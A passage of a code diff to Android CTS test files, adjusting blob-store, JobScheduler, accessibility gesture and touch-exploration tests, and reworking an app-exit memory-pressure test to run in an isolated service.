+ private void commitAndVerifyBlob(DummyBlobData blobData) throws Exception {
+ commitBlob(blobData);
+
+ // Verify that blob can be accessed after committing.
+ try (ParcelFileDescriptor pfd = mBlobStoreManager.openBlob(blobData.getBlobHandle())) {
+ assertThat(pfd).isNotNull();
+ blobData.verifyBlob(pfd);
+ }
+ }
+
private long commitBlob(DummyBlobData blobData) throws Exception {
return commitBlob(blobData, null);
}
private long commitBlob(DummyBlobData blobData,
AccessModifier accessModifier) throws Exception {
+ return commitBlob(blobData, accessModifier, 0 /* expectedResult */);
+ }
+
+ private long commitBlob(DummyBlobData blobData,
+ AccessModifier accessModifier, int expectedResult) throws Exception {
final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
assertThat(sessionId).isGreaterThan(0L);
try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
@@ -1163,7 +1754,7 @@
final CompletableFuture<Integer> callback = new CompletableFuture<>();
session.commit(mContext.getMainExecutor(), callback::complete);
assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
- .isEqualTo(0);
+ .isEqualTo(expectedResult);
}
return sessionId;
}
@@ -1234,6 +1825,12 @@
() -> commandReceiver.openBlob(blobData.getBlobHandle()));
}
+ private void waitForLeaseExpiration(long waitDurationMs, BlobHandle leasedBlob)
+ throws Exception {
+ SystemClock.sleep(waitDurationMs);
+ assertThat(mBlobStoreManager.getLeaseInfo(leasedBlob)).isNull();
+ }
+
private TestServiceConnection bindToHelperService(String pkg) throws Exception {
final TestServiceConnection serviceConnection = new TestServiceConnection(mContext);
final Intent intent = new Intent()
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
index 3551205..e75d109 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/IdleConstraintTest.java
@@ -168,7 +168,8 @@
private boolean isCarModeSupported() {
// TVs don't support car mode.
return !getContext().getPackageManager().hasSystemFeature(
- PackageManager.FEATURE_LEANBACK_ONLY);
+ PackageManager.FEATURE_LEANBACK_ONLY)
+ && !getContext().getSystemService(UiModeManager.class).isUiModeLocked();
}
/**
@@ -305,7 +306,6 @@
if (!isCarModeSupported()) {
return;
}
-
runIdleJobStartsOnlyWhenIdle();
setCarMode(true);
@@ -314,6 +314,9 @@
}
public void testIdleJobStartsOnlyWhenIdle_screenEndsIdle() throws Exception {
+ if (!isCarModeSupported()) {
+ return;
+ }
runIdleJobStartsOnlyWhenIdle();
toggleScreenOn(true);
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index c065b1e..b6d6120 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -24,6 +24,7 @@
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.app.AppOpsManager;
@@ -102,6 +103,8 @@
private boolean mInitialAirplaneModeState;
private String mInitialJobSchedulerConstants;
private String mInitialDisplayTimeout;
+ private String mInitialRestrictedBucketEnabled;
+ private boolean mAutomotiveDevice;
private TestAppInterface mTestAppInterface;
@@ -155,6 +158,8 @@
mInitialAirplaneModeState = isAirplaneModeOn();
mInitialJobSchedulerConstants = Settings.Global.getString(mContext.getContentResolver(),
Settings.Global.JOB_SCHEDULER_CONSTANTS);
+ mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
+ Settings.Global.ENABLE_RESTRICTED_BUCKET);
// Make sure test jobs can run regardless of bucket.
Settings.Global.putString(mContext.getContentResolver(),
Settings.Global.JOB_SCHEDULER_CONSTANTS, "min_ready_non_active_jobs_count=0");
@@ -162,6 +167,15 @@
mInitialDisplayTimeout =
Settings.System.getString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT);
Settings.System.putString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT, "300000");
+
+ // In automotive device, always-on screen and endless battery charging are assumed.
+ mAutomotiveDevice =
+ mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+ if (mAutomotiveDevice) {
+ setScreenState(true);
+ // TODO(b/159176758): make sure that initial power supply is on.
+ BatteryUtils.runDumpsysBatterySetPluggedIn(true);
+ }
}
@Test
@@ -281,6 +295,9 @@
@Test
public void testJobsInRestrictedBucket_ParoleSession() throws Exception {
assumeTrue("app standby not enabled", mAppStandbyEnabled);
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
+ setRestrictedBucketEnabled(true);
// Disable coalescing
Settings.Global.putString(mContext.getContentResolver(),
@@ -304,6 +321,9 @@
@Test
public void testJobsInRestrictedBucket_NoRequiredNetwork() throws Exception {
assumeTrue("app standby not enabled", mAppStandbyEnabled);
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
+ setRestrictedBucketEnabled(true);
// Disable coalescing and the parole session
Settings.Global.putString(mContext.getContentResolver(),
@@ -339,9 +359,12 @@
@Test
public void testJobsInRestrictedBucket_WithRequiredNetwork() throws Exception {
assumeTrue("app standby not enabled", mAppStandbyEnabled);
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
assumeTrue(mHasWifi);
ensureSavedWifiNetwork(mWifiManager);
+ setRestrictedBucketEnabled(true);
+
// Disable coalescing and the parole session
Settings.Global.putString(mContext.getContentResolver(),
Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
@@ -386,6 +409,7 @@
@Test
public void testJobsInNeverApp() throws Exception {
assumeTrue("app standby not enabled", mAppStandbyEnabled);
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
BatteryUtils.runDumpsysBatteryUnplug();
setTestPackageStandbyBucket(Bucket.NEVER);
@@ -396,6 +420,8 @@
@Test
public void testUidActiveBypassesStandby() throws Exception {
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
+
BatteryUtils.runDumpsysBatteryUnplug();
setTestPackageStandbyBucket(Bucket.NEVER);
tempWhitelistTestApp(6_000);
@@ -407,6 +433,7 @@
@Test
public void testBatterySaverOff() throws Exception {
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
BatteryUtils.assumeBatterySaverFeature();
BatteryUtils.runDumpsysBatteryUnplug();
@@ -418,6 +445,7 @@
@Test
public void testBatterySaverOn() throws Exception {
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
BatteryUtils.assumeBatterySaverFeature();
BatteryUtils.runDumpsysBatteryUnplug();
@@ -429,6 +457,7 @@
@Test
public void testUidActiveBypassesBatterySaverOn() throws Exception {
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
BatteryUtils.assumeBatterySaverFeature();
BatteryUtils.runDumpsysBatteryUnplug();
@@ -441,6 +470,7 @@
@Test
public void testBatterySaverOnThenUidActive() throws Exception {
+ assumeFalse("not testable in automotive device", mAutomotiveDevice);
BatteryUtils.assumeBatterySaverFeature();
// Enable battery saver, and schedule a job. It shouldn't run.
@@ -481,6 +511,8 @@
}
Settings.Global.putString(mContext.getContentResolver(),
Settings.Global.JOB_SCHEDULER_CONSTANTS, mInitialJobSchedulerConstants);
+ Settings.Global.putString(mContext.getContentResolver(),
+ Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
if (isAirplaneModeOn() != mInitialAirplaneModeState) {
setAirplaneMode(mInitialAirplaneModeState);
}
@@ -497,6 +529,11 @@
restricted ? AppOpsManager.MODE_IGNORED : AppOpsManager.MODE_ALLOWED);
}
+ private void setRestrictedBucketEnabled(boolean enabled) {
+ Settings.Global.putString(mContext.getContentResolver(),
+ Settings.Global.ENABLE_RESTRICTED_BUCKET, enabled ? "1" : "0");
+ }
+
private boolean isTestAppTempWhitelisted() throws Exception {
final String output = mUiDevice.executeShellCommand("cmd deviceidle tempwhitelist").trim();
for (String line : output.split("\n")) {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index aac61c4..10c7542 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -217,6 +217,7 @@
return;
}
+ float pointTolerance = 1f;
PointF startPoint = new PointF(mStartPoint.x, mStartPoint.y);
PointF endPoint = new PointF(mStartPoint.x + 10, mStartPoint.y + 20);
int gestureTime = 500;
@@ -229,8 +230,9 @@
MotionEvent downEvent = mMotionEvents.get(0);
MotionEvent upEvent = mMotionEvents.get(numEvents - 1);
- assertThat(downEvent, both(IS_ACTION_DOWN).and(isAtPoint(startPoint)));
- assertThat(upEvent, both(IS_ACTION_UP).and(isAtPoint(endPoint)));
+ assertThat(downEvent, both(IS_ACTION_DOWN).and(isAtPoint(startPoint,
+ pointTolerance)));
+ assertThat(upEvent, both(IS_ACTION_UP).and(isAtPoint(endPoint, pointTolerance)));
assertEquals(gestureTime, upEvent.getEventTime() - downEvent.getEventTime());
long lastEventTime = downEvent.getEventTime();
@@ -240,8 +242,9 @@
float fractionOfSwipe =
((float) (moveEvent.getEventTime() - downEvent.getEventTime())) / gestureTime;
PointF intermediatePoint = add(startPoint,
- ceil(times(fractionOfSwipe, diff(endPoint, startPoint))));
- assertThat(moveEvent, both(IS_ACTION_MOVE).and(isAtPoint(intermediatePoint)));
+ times(fractionOfSwipe, diff(endPoint, startPoint)));
+ assertThat(moveEvent, both(IS_ACTION_MOVE).and(
+ isAtPoint(intermediatePoint, pointTolerance)));
lastEventTime = moveEvent.getEventTime();
}
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
index b2fc2c5..566ccac 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityTextActionTest.java
@@ -259,7 +259,7 @@
ReplacementSpan replacementSpanFromA11y = findSingleSpanInViewWithText(R.string.a_b,
ReplacementSpan.class);
-
+
assertEquals(contentDescription, replacementSpanFromA11y.getContentDescription());
}
@@ -480,8 +480,8 @@
final int expectedHeightInPx = textView.getLayoutParams().height;
final float expectedTextSize = textView.getTextSize();
final float newTextSize = 20f;
- final float expectedNewTextSize = (int) (0.5f + TypedValue.applyDimension(
- TypedValue.COMPLEX_UNIT_SP, newTextSize, displayMetrics));
+ final float expectedNewTextSize = TypedValue.applyDimension(TypedValue.COMPLEX_UNIT_SP,
+ newTextSize, displayMetrics);
makeTextViewVisibleAndSetText(textView, stringToSet);
final AccessibilityNodeInfo info = sUiAutomation.getRootInActiveWindow()
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
index b37358f..252fbcb 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityWindowQueryTest.java
@@ -150,11 +150,13 @@
}
private final AccessibilityEventFilter mDividerPresentFilter = (event) ->
- (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED)
+ (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+ || event.getEventType() == TYPE_WINDOWS_CHANGED)
&& isDividerWindowPresent();
private final AccessibilityEventFilter mDividerAbsentFilter = (event) ->
- (event.getEventType() == AccessibilityEvent.TYPE_WINDOWS_CHANGED)
+ (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_CONTENT_CHANGED
+ || event.getEventType() == TYPE_WINDOWS_CHANGED)
&& !isDividerWindowPresent();
@MediumTest
@@ -700,11 +702,14 @@
}
private boolean isDividerWindowPresent() {
- List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
+ final List<AccessibilityWindowInfo> windows = sUiAutomation.getWindows();
final int windowCount = windows.size();
for (int i = 0; i < windowCount; i++) {
- AccessibilityWindowInfo window = windows.get(i);
- if (window.getType() == AccessibilityWindowInfo.TYPE_SPLIT_SCREEN_DIVIDER) {
+ final AccessibilityWindowInfo window = windows.get(i);
+ final AccessibilityNodeInfo rootNode = window.getRoot();
+ if (window.getType() == AccessibilityWindowInfo.TYPE_SPLIT_SCREEN_DIVIDER &&
+ rootNode != null &&
+ rootNode.isVisibleToUser()) {
return true;
}
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index 8393012..c64eaa3 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -51,6 +51,7 @@
import android.graphics.PointF;
import android.platform.test.annotations.AppModeFull;
import android.provider.Settings;
+import android.view.ViewConfiguration;
import android.widget.TextView;
import androidx.test.InstrumentationRegistry;
@@ -105,7 +106,6 @@
@Before
public void setUp() throws Exception {
mInstrumentation = InstrumentationRegistry.getInstrumentation();
-
PackageManager pm = mInstrumentation.getContext().getPackageManager();
mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
|| pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
@@ -179,7 +179,11 @@
@Test
public void testPanning() {
- if (!mHasTouchscreen) return;
+ //The minimum movement to transit to panningState.
+ final float minSwipeDistance = ViewConfiguration.get(
+ mInstrumentation.getContext()).getScaledTouchSlop();
+ final boolean screenBigEnough = mPan > minSwipeDistance;
+ if (!mHasTouchscreen || !screenBigEnough) return;
assertFalse(isZoomed());
setZoomByTripleTapping(true);
@@ -190,7 +194,8 @@
swipe(mTapLocation2, add(mTapLocation2, -mPan, 0)));
waitOn(mZoomLock,
- () -> (mCurrentZoomCenter.x - oldCenter.x >= mPan / mCurrentScale * 0.9));
+ () -> (mCurrentZoomCenter.x - oldCenter.x
+ >= (mPan - minSwipeDistance) / mCurrentScale * 0.9));
setZoomByTripleTapping(false);
}
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 655b1fe..80a3054 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
@@ -17,20 +17,14 @@
package android.accessibilityservice.cts;
import static android.accessibilityservice.cts.utils.AsyncUtils.await;
-import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_DOWN;
-import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_UP;
import static android.accessibilityservice.cts.utils.GestureUtils.add;
-import static android.accessibilityservice.cts.utils.GestureUtils.ceil;
import static android.accessibilityservice.cts.utils.GestureUtils.click;
-import static android.accessibilityservice.cts.utils.GestureUtils.diff;
import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
import static android.accessibilityservice.cts.utils.GestureUtils.doubleTap;
import static android.accessibilityservice.cts.utils.GestureUtils.doubleTapAndHold;
-import static android.accessibilityservice.cts.utils.GestureUtils.isRawAtPoint;
import static android.accessibilityservice.cts.utils.GestureUtils.multiTap;
import static android.accessibilityservice.cts.utils.GestureUtils.secondFingerMultiTap;
import static android.accessibilityservice.cts.utils.GestureUtils.swipe;
-import static android.accessibilityservice.cts.utils.GestureUtils.times;
import static android.view.MotionEvent.ACTION_DOWN;
import static android.view.MotionEvent.ACTION_HOVER_ENTER;
import static android.view.MotionEvent.ACTION_HOVER_EXIT;
@@ -49,9 +43,6 @@
import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_CLICKED;
import static android.view.accessibility.AccessibilityEvent.TYPE_VIEW_LONG_CLICKED;
-import static org.hamcrest.CoreMatchers.both;
-import static org.hamcrest.MatcherAssert.assertThat;
-
import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
import android.accessibilityservice.GestureDescription;
@@ -71,7 +62,6 @@
import android.platform.test.annotations.AppModeFull;
import android.util.DisplayMetrics;
import android.view.Display;
-import android.view.MotionEvent;
import android.view.View;
import android.view.ViewConfiguration;
import android.view.WindowManager;
@@ -87,8 +77,6 @@
import org.junit.rules.RuleChain;
import org.junit.runner.RunWith;
-import java.util.List;
-
/**
* A set of tests for testing touch exploration. Each test dispatches a gesture and checks for the
* appropriate hover and/or touch events followed by the appropriate accessibility events. Some
@@ -99,12 +87,12 @@
public class TouchExplorerTest {
// Constants
private static final float GESTURE_LENGTH_INCHES = 1.0f;
- private static final int SWIPE_TIME_MILLIS = 400;
private TouchExplorationStubAccessibilityService mService;
private Instrumentation mInstrumentation;
private UiAutomation mUiAutomation;
private boolean mHasTouchscreen;
private boolean mScreenBigEnough;
+ private long mSwipeTimeMillis;
private EventCapturingHoverListener mHoverListener = new EventCapturingHoverListener(false);
private EventCapturingTouchListener mTouchListener = new EventCapturingTouchListener(false);
private EventCapturingClickListener mClickListener = new EventCapturingClickListener();
@@ -164,6 +152,7 @@
mCenter = new Point(viewLocation[0] + midX, viewLocation[1] + midY);
mTapLocation = new PointF(mCenter);
mSwipeDistance = (viewLocation[0] + mView.getWidth()) / 4;
+ mSwipeTimeMillis = (long) mSwipeDistance * 4;
mView.setOnClickListener(mClickListener);
mView.setOnLongClickListener(mLongClickListener);
});
@@ -174,7 +163,7 @@
@AppModeFull
public void testSlowSwipe_initiatesTouchExploration() {
if (!mHasTouchscreen || !mScreenBigEnough) return;
- dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0), SWIPE_TIME_MILLIS));
+ dispatch(swipe(mTapLocation, add(mTapLocation, mSwipeDistance, 0), mSwipeTimeMillis));
mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_MOVE, ACTION_HOVER_EXIT);
mTouchListener.assertNonePropagated();
mService.assertPropagated(
@@ -218,29 +207,9 @@
final PointF finger2Start = add(dragStart, -twoFingerOffset, 0);
final PointF finger2End = add(finger2Start, 0, mSwipeDistance);
dispatch(
- swipe(finger1Start, finger1End, SWIPE_TIME_MILLIS),
- swipe(finger2Start, finger2End, SWIPE_TIME_MILLIS));
- List<MotionEvent> twoFingerPoints = mTouchListener.getRawEvents();
-
- // Check the drag events performed by a two finger drag. The moving locations would be
- // adjusted to the middle of two fingers.
- final int numEvents = twoFingerPoints.size();
- final int upEventIndex = numEvents - 1;
- final float stepDuration =
- (float)
- (twoFingerPoints.get(1).getEventTime()
- - twoFingerPoints.get(0).getEventTime());
- final float gestureDuration =
- (float)
- (twoFingerPoints.get(upEventIndex).getEventTime()
- - twoFingerPoints.get(0).getEventTime());
- final float intervalFraction =
- stepDuration * (mSwipeDistance / gestureDuration) / gestureDuration;
- PointF downPoint = add(dragStart, ceil(times(intervalFraction, diff(dragEnd, dragStart))));
- assertThat(twoFingerPoints.get(0), both(IS_ACTION_DOWN).and(isRawAtPoint(downPoint, 1.0f)));
- assertThat(
- twoFingerPoints.get(upEventIndex),
- both(IS_ACTION_UP).and(isRawAtPoint(finger2End, 1.0f)));
+ swipe(finger1Start, finger1End, mSwipeTimeMillis),
+ swipe(finger2Start, finger2End, mSwipeTimeMillis));
+ mTouchListener.assertPropagated(ACTION_DOWN, ACTION_MOVE, ACTION_UP);
}
/** Test a basic single tap which should initiate touch exploration. */
@@ -311,7 +280,7 @@
*/
@Test
@AppModeFull
- public void testDoubleTapNoAccessibilityFocus_doesNotPerformClick() {
+ public void testDoubleTapNoFocus_doesNotPerformClick() {
if (!mHasTouchscreen || !mScreenBigEnough) return;
dispatch(doubleTap(mTapLocation));
mHoverListener.assertNonePropagated();
@@ -322,34 +291,12 @@
}
/**
- * Test the case where we want to long click on the item that has accessibility focus. Note that
- * this test does not request that double tap and hold be dispatched to the accessibility
- * service, meaning that it will be handled by the framework and the view will be long clicked.
- */
- @Test
- @AppModeFull
- public void testDoubleTapAndHoldAccessibilityFocus_performsLongClick() {
- if (!mHasTouchscreen || !mScreenBigEnough) return;
- syncAccessibilityFocusToInputFocus();
- dispatch(doubleTapAndHold(mTapLocation));
- mHoverListener.assertNonePropagated();
- // The click should not be delivered via touch events in this case.
- mTouchListener.assertNonePropagated();
- mService.assertPropagated(
- TYPE_VIEW_ACCESSIBILITY_FOCUSED,
- TYPE_TOUCH_INTERACTION_START,
- TYPE_VIEW_LONG_CLICKED,
- TYPE_TOUCH_INTERACTION_END);
- mLongClickListener.assertLongClicked(mView);
- }
-
- /**
* Test the case where we double tap and hold but there is no accessibility focus. Nothing
* should happen.
*/
@Test
@AppModeFull
- public void testDoubleTapAndHoldNoAccessibilityFocus_doesNotPerformLongClick() {
+ public void testDoubleTapAndHoldNoFocus_doesNotPerformLongClick() {
if (!mHasTouchscreen || !mScreenBigEnough) return;
dispatch(doubleTap(mTapLocation));
mHoverListener.assertNonePropagated();
@@ -389,6 +336,63 @@
}
/**
+ * Test the case where we double tap and no item has accessibility focus, so TouchExplorer sends
+ * touch events to the last touch-explored coordinates to simulate a click.
+ */
+ @Test
+ @AppModeFull
+ public void testDoubleTapNoAccessibilityFocus_sendsTouchEvents() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ // Do a single tap so there is a valid last touch-explored location.
+ dispatch(click(mTapLocation));
+ mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+ // We don't really care about these events but we need to make sure all the events we want
+ // to clear have arrived before we clear them.
+ mService.assertPropagated(
+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_END,
+ TYPE_TOUCH_INTERACTION_END);
+ mService.clearEvents();
+ dispatch(doubleTap(mTapLocation));
+ mHoverListener.assertNonePropagated();
+ // The click gets delivered as a series of touch events.
+ mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+ mService.assertPropagated(
+ TYPE_TOUCH_INTERACTION_START, TYPE_TOUCH_INTERACTION_END, TYPE_VIEW_CLICKED);
+ mClickListener.assertClicked(mView);
+ }
+
+ /**
+ * Test the case where we double tap and hold and no item has accessibility focus, so
+ * TouchExplorer sends touch events to the last touch-explored coordinates to simulate a long
+ * click.
+ */
+ @Test
+ @AppModeFull
+ public void testDoubleTapAndHoldNoAccessibilityFocus_sendsTouchEvents() {
+ if (!mHasTouchscreen || !mScreenBigEnough) return;
+ // Do a single tap so there is a valid last touch-explored location.
+ dispatch(click(mTapLocation));
+ mHoverListener.assertPropagated(ACTION_HOVER_ENTER, ACTION_HOVER_EXIT);
+ // We don't really care about these events but we need to make sure all the events we want
+ // to clear have arrived before we clear them.
+ mService.assertPropagated(
+ TYPE_TOUCH_INTERACTION_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_START,
+ TYPE_TOUCH_EXPLORATION_GESTURE_END,
+ TYPE_TOUCH_INTERACTION_END);
+ mService.clearEvents();
+ dispatch(doubleTapAndHold(mTapLocation));
+ mHoverListener.assertNonePropagated();
+ // The click gets delivered as a series of touch events.
+ mTouchListener.assertPropagated(ACTION_DOWN, ACTION_UP);
+ mService.assertPropagated(
+ TYPE_TOUCH_INTERACTION_START, TYPE_VIEW_LONG_CLICKED, TYPE_TOUCH_INTERACTION_END);
+ mLongClickListener.assertLongClicked(mView);
+ }
+
+ /**
* Test the case where we want to double tap using a second finger without triggering touch
* exploration.
*/
@@ -433,9 +437,9 @@
PointF finger2End = add(mTapLocation, 0, mSwipeDistance);
PointF finger3Start = add(mTapLocation, mSwipeDistance, 0);
PointF finger3End = add(mTapLocation, mSwipeDistance, mSwipeDistance);
- StrokeDescription swipe1 = swipe(finger1Start, finger1End, SWIPE_TIME_MILLIS);
- StrokeDescription swipe2 = swipe(finger2Start, finger2End, SWIPE_TIME_MILLIS);
- StrokeDescription swipe3 = swipe(finger3Start, finger3End, SWIPE_TIME_MILLIS);
+ StrokeDescription swipe1 = swipe(finger1Start, finger1End, mSwipeTimeMillis);
+ StrokeDescription swipe2 = swipe(finger2Start, finger2End, mSwipeTimeMillis);
+ StrokeDescription swipe3 = swipe(finger3Start, finger3End, mSwipeTimeMillis);
dispatch(swipe1, swipe2, swipe3);
mHoverListener.assertNonePropagated();
mTouchListener.assertPropagated(
@@ -460,10 +464,10 @@
// Move two fingers towards eacher slowly.
PointF finger1Start = add(mTapLocation, -mSwipeDistance, 0);
PointF finger1End = add(mTapLocation, -10, 0);
- StrokeDescription swipe1 = swipe(finger1Start, finger1End, SWIPE_TIME_MILLIS);
+ StrokeDescription swipe1 = swipe(finger1Start, finger1End, mSwipeTimeMillis);
PointF finger2Start = add(mTapLocation, mSwipeDistance, 0);
PointF finger2End = add(mTapLocation, 10, 0);
- StrokeDescription swipe2 = swipe(finger2Start, finger2End, SWIPE_TIME_MILLIS);
+ StrokeDescription swipe2 = swipe(finger2Start, finger2End, mSwipeTimeMillis);
dispatch(swipe1, swipe2);
mHoverListener.assertNonePropagated();
mTouchListener.assertPropagated(
diff --git a/tests/app/AppExitTest/AndroidManifest.xml b/tests/app/AppExitTest/AndroidManifest.xml
index 4606ca5..64a1ab8 100644
--- a/tests/app/AppExitTest/AndroidManifest.xml
+++ b/tests/app/AppExitTest/AndroidManifest.xml
@@ -24,6 +24,10 @@
<application android:usesCleartextTraffic="true">
<uses-library android:name="android.test.runner" />
+ <service android:name="android.app.cts.MemoryConsumerService"
+ android:exported="true"
+ android:isolatedProcess="true">
+ </service>
</application>
<instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
index bd9e5af..cbded8b 100644
--- a/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
+++ b/tests/app/AppExitTest/src/android/app/cts/ActivityManagerAppExitInfoTest.java
@@ -30,6 +30,7 @@
import android.externalservice.common.RunningServiceInfo;
import android.externalservice.common.ServiceMessages;
import android.os.AsyncTask;
+import android.os.Binder;
import android.os.Bundle;
import android.os.DropBoxManager;
import android.os.Handler;
@@ -44,12 +45,12 @@
import android.os.UserManager;
import android.provider.Settings;
import android.server.wm.settings.SettingsSession;
-import android.system.Os;
import android.system.OsConstants;
import android.test.InstrumentationTestCase;
import android.text.TextUtils;
import android.util.DebugUtils;
import android.util.Log;
+import android.util.Pair;
import com.android.compatibility.common.util.AmMonitor;
import com.android.compatibility.common.util.ShellIdentityUtils;
@@ -58,9 +59,7 @@
import com.android.internal.util.MemInfoReader;
import java.io.BufferedInputStream;
-import java.io.FileDescriptor;
import java.io.IOException;
-import java.nio.DirectByteBuffer;
import java.util.ArrayList;
import java.util.List;
import java.util.concurrent.CountDownLatch;
@@ -131,6 +130,8 @@
private UserHandle mOtherUserHandle;
private DropBoxManager.Entry mAnrEntry;
private SettingsSession<String> mDataAnrSettings;
+ private SettingsSession<String> mHiddenApiSettings;
+ private int mProcSeqNum;
@Override
protected void setUp() throws Exception {
@@ -154,6 +155,11 @@
Settings.Global.DROPBOX_TAG_PREFIX + "data_app_anr"),
Settings.Global::getString, Settings.Global::putString);
mDataAnrSettings.set("enabled");
+ mHiddenApiSettings = new SettingsSession<>(
+ Settings.Global.getUriFor(
+ Settings.Global.HIDDEN_API_BLACKLIST_EXEMPTIONS),
+ Settings.Global::getString, Settings.Global::putString);
+ mHiddenApiSettings.set("*");
}
private void handleMessagePid(Message msg) {
@@ -217,6 +223,9 @@
if (mDataAnrSettings != null) {
mDataAnrSettings.close();
}
+ if (mHiddenApiSettings != null) {
+ mHiddenApiSettings.close();
+ }
}
private int createUser(String name, boolean guest) throws Exception {
@@ -391,47 +400,37 @@
ApplicationExitInfo.REASON_EXIT_SELF, EXIT_CODE, null, now, now2);
}
- private List<ApplicationExitInfo> fillUpMemoryAndCheck(ArrayList<Long> addresses)
- throws Exception {
- List<ApplicationExitInfo> list = null;
- // Get the meminfo firstly
- MemInfoReader reader = new MemInfoReader();
- reader.readMemInfo();
+ private List<ServiceConnection> fillUpMemoryAndCheck(
+ final MemoryConsumerService.TestFuncInterface testFunc,
+ final List<ApplicationExitInfo> list) throws Exception {
+ final String procNamePrefix = "memconsumer_";
+ final ArrayList<ServiceConnection> memConsumers = new ArrayList<>();
+ Pair<IBinder, ServiceConnection> p = MemoryConsumerService.bindToService(
+ mContext, testFunc, procNamePrefix + mProcSeqNum++);
+ IBinder consumer = p.first;
+ memConsumers.add(p.second);
- long totalMb = (reader.getFreeSizeKb() + reader.getCachedSizeKb()) >> 10;
- final int pageSize = 4096;
- final int oneMb = 1024 * 1024;
+ while (list.size() == 0) {
+ // Get the meminfo firstly
+ MemInfoReader reader = new MemInfoReader();
+ reader.readMemInfo();
- // Create an empty fd -1
- FileDescriptor fd = new FileDescriptor();
-
- // Okay now start a loop to allocate 1MB each time and check if our process is gone.
- for (long i = 0; i < totalMb; i++) {
- long addr = Os.mmap(0, oneMb, OsConstants.PROT_WRITE,
- OsConstants.MAP_PRIVATE | OsConstants.MAP_ANONYMOUS, fd, 0);
- if (addr == 0) {
- break;
